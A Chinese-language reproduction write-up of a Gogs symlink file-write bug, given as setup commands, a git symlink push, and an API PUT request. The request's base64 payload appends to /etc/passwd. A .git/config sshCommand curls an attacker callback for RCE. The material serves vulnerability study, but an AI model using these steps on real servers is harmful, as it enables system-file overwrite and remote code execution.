前言
参考: https://forum.butian.net/share/4680
复现
启动之后访问3000端口完成安装,注意安装数据选sqlite数据库即可然后不用在下面填管理员用户
安装完成后,我们只需后续在主页注册一个普通用户即可

注册完成后登录,进入右上角头像处的用户设置,填入自己的ssh公钥即可

再点击下面的授权应用生成一个令牌 b98ca085c723cafc544f3536c1267dd548021b8d,我们后续 PUT 推送时需要用到

为了方便后续拉取镜像触发sshCommand(选做)
测试ssh是否连通,判断是否可以通过 ssh git 推送文件
ssh -T -p 2022 git@localhost
绑定 ~/.ssh/config
Host gogs
HostName 192.168.1.104
User git
Port 2022
IdentityFile ~/.ssh/id_rsa
本地挂几个软链接符号文件
创建一个本地仓库,并绑定到远程
git init repo
ln -s /tmp/pwned secret-link
chmod -h 777 secret-link
git config user.name "test"
git config user.email "test@example.com"
git remote add origin gogs:test/aaa.git
git remote set-url origin ssh://git@localhost:2022/test/aaa.git
git add .
git commit -m "111"
git branch -M main
git push -u origin main
git pull origin main --rebase # 同步

由于我们本地分支设置成了 main,所以需要修改该仓库的默认分支为 main

然后发送以下 PUT 数据包
PUT /api/v1/repos/test/aaa/contents/secret-link HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
accept: */*
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Cookie: lang=zh-CN; i_like_gogs=ef66b5dedff350c0; gogs_awesome=test; gogs_incredible=b96d3eaa2de87f0a8f60cd5ae33f1ca6837bafd756e2b942f2f6895e4f64e4d8; _csrf=1udr0JKfxJP69bzaac9oTc2CmHE6MTc3MDYyMTA4Njk3NTgyMDUxMw
Authorization: token 44130288a931d1a2082e51f252457f900da3602b
Content-Type: application/json
Content-Length: 83
{"message": "Create symlink", "content": "ZWNobyAiSGFja2VkIiA+PiAvZXRjL3Bhc3N3ZA=="}

写入文件

RCE 的方法就是覆写 .git/config 文件来触发RCE
本质是仓库拥有者通过 ssh 协议对仓库做 clone,pull 等操作时触发恶意命令,所以还是需要搭配仓库所有者自己主动操作仓库时才可触发.这里就以我们自己注册的普通 test 用户触发.
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase=true
precomposeunicode=true
sshCommand="curl 回连平台~"
[remote "origin"]
url = ssh://git@localhost:2022/test/ccc.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main